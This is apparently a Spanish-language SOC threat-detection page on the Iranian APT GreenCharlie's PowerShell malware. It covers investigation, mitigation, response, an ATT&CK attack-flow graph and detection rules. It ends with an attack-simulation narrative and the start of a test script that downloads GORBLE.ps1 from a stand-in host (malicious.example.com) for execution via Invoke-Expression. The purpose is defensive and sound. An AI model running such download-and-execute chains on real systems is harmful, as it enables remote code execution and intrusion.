GreenCharlie: El Informe SOC sobre Explotaciones de PowerShell por APT Respaldado por Irán
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen del Exploit de PowerShell de GreenCharlie
GreenCharlie es un grupo APT basado en Irán que lleva a cabo ciberespionaje utilizando una familia de malware PowerShell de múltiples etapas (GORBLE, TAMECAT, POWERSTAR). El grupo registra muchos dominios DNS dinámicos para phishing, utiliza scripts de PowerShell ofuscados con codificación Base64 y bit a bit personalizada, y se comunica con servidores C2 a través de HTTPS POST. La actividad aumentó en mayo-agosto de 2024 con IP iraníes y servicios VPN enmascarando el tráfico.
Investigación
Analice el tráfico de red en busca de conexiones a dominios DDNS conocidos y rangos de IP asociados con el grupo (por ejemplo, *.ddnsgeek.com, *.dns-dynamic.net). Busque cadenas de ejecución de PowerShell que realicen decodificación Base64 seguidas de operaciones NOT bit a bit, y scripts que invoquen ScriptBlock.Create o Invoke‑Expression. Monitoree la inyección de procesos y la ejecución en memoria de cargas útiles descifradas. Correlacione alertas con las técnicas ATT&CK T1583.001, T1566.002, T1059.001, T1568.
Mitigación
Implemente un registro estricto de PowerShell (ModuleLogging, ScriptBlockLogging) y haga cumplir el modo de lenguaje restringido. Bloquee o canalice el tráfico hacia proveedores DDNS conocidos y TLD sospechosos (.info, .xyz, .icu, .network, .online, .site). Despliegue DNS sandboxing y filtrado de URL para dominios de phishing. Utilice soluciones de detección y respuesta en el endpoint (EDR) para detectar scripts PowerShell ofuscados y desciframiento AES en memoria. Refuerce el principio de privilegio mínimo para cuentas de servicio y desactive herramientas de ejecución remota innecesarias.
Respuesta a la Amenaza de GreenCharlie
Cuando se detecta un indicador, aísle el host afectado, capture la memoria volátil y recoja registros de PowerShell. Realice un análisis forense para extraer la carga útil decodificada e identificar servidores C2. Revoque credenciales comprometidas, rote secretos y elimine tareas programadas relacionadas o mecanismos de persistencia. Realice intercambio de inteligencia sobre amenazas de IOCs (dominios, IPs, valores hash) con ISACs relevantes y actualice las reglas de detección en consecuencia.
graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef process fill:#ccffcc classDef data fill:#f0e68c %% Nodes start[«<b>Inicio</b>: Disparador de ejecución inicial»] class start action tech_execution[«<b>Técnica</b> – T1059.001<br/><b>PowerShell</b>: Ejecutar script para descargar payload»] class tech_execution technique process_download[«<b>Proceso</b>: Descargar payload de segunda etapa»] class process_download process tech_obf1[«<b>Técnica</b> – T1027.008<br/>Payloads despojados (Base64 + NOT)»] class tech_obf1 technique tech_obf2[«<b>Técnica</b> – T1027.014<br/>Código polimórfico (codificación variante)»] class tech_obf2 technique tech_decode[«<b>Técnica</b> – T1140<br/>Decodificar/Desofuscar payload»] class tech_decode technique tech_dns[«<b>Técnica</b> – T1071.004<br/>Protocolo de Aplicación DNS»] class tech_dns technique tech_dga[«<b>Técnica</b> – T1568.002<br/>Algoritmo de Generación de Dominios»] class tech_dga technique tech_web[«<b>Técnica</b> – T1102.002<br/>Servicio Web HTTPS Bidireccional»] class tech_web technique tech_encrypt[«<b>Técnica</b> – T1573<br/>Canal cifrado AES»] class tech_encrypt technique data_exfil[«<b>Datos</b>: Información del sistema (SO, nombre del equipo)»] class data_exfil data tech_exfil[«<b>Técnica</b> – T1041<br/>Exfiltración sobre canal C2»] class tech_exfil technique %% Connections start u002du002d>|dispara| tech_execution tech_execution u002du002d>|descarga| process_download process_download u002du002d>|ofusca con| tech_obf1 process_download u002du002d>|aplica| tech_obf2 process_download u002du002d>|decodificado por| tech_decode tech_decode u002du002d>|se comunica vía| tech_dns tech_dns u002du002d>|usa| tech_dga tech_dns u002du002d>|se comunica vía| tech_web tech_web u002du002d>|cifra tráfico con| tech_encrypt tech_encrypt u002du002d>|transporta| data_exfil data_exfil u002du002d>|enviado vía| tech_exfil
Flujo de Ataque
Reglas de Detección de PowerShell de GreenCharlie
Detección de Marcos de Malware PowerShell del APT GreenCharlie [Windows Powershell]
Ver
Posible Infiltración / Exfiltración de Datos / C2 a través de Servicios / Herramientas de Terceros (vía proxy)
Ver
IOCs (ip) para detectar: Campañas de Ciberespionaje de GreenCharlie APT: Basadas en PowerShell de Irán
Ver
IOCs (emails) para detectar: Campañas de Ciberespionaje de GreenCharlie APT: Basadas en PowerShell de Irán
Ver
Instrucciones para Simulación de Carga Útil
-
Narrativa de Ataque y Comandos:
Fase 1 – Recuperar el cargador malicioso:
El atacante usaInvoke-WebRequestpara descargar un script de PowerShell llamado GORBLE.ps1 desde un servidor C2.Fase 2 – Codificar la carga útil:
El script descargado contiene la carga útil maliciosa. El atacante codifica todo el script en base64 y lo almacena en una variable$x.Fase 3 – Ejecutar a través de cmdlet de alto riesgo:
UsandoInvoke-Expression, el atacante decodifica$xsobre la marcha y lo ejecuta, invocando así el marco GORBLE.Fase 4 – Movimiento lateral (opcional):
La carga útil puede posteriormente llamarScriptBlock.Createcon una cadena ofuscada bit a bit para lanzar un comando de PowerShell de segunda etapa en un host remoto. -
Script de Prueba de Regresión:
# ------------------------------------------------- # Simulación del Marco de PowerShell de GreenCharlie APT # ------------------------------------------------- # 1. Simular descarga del marco malicioso (palabra clave GORBLE) $maliciousUrl = "http://malicious.example.com/GORBLE.ps1" $downloaded = @" # GORBLE - carga útil maliciosa simulada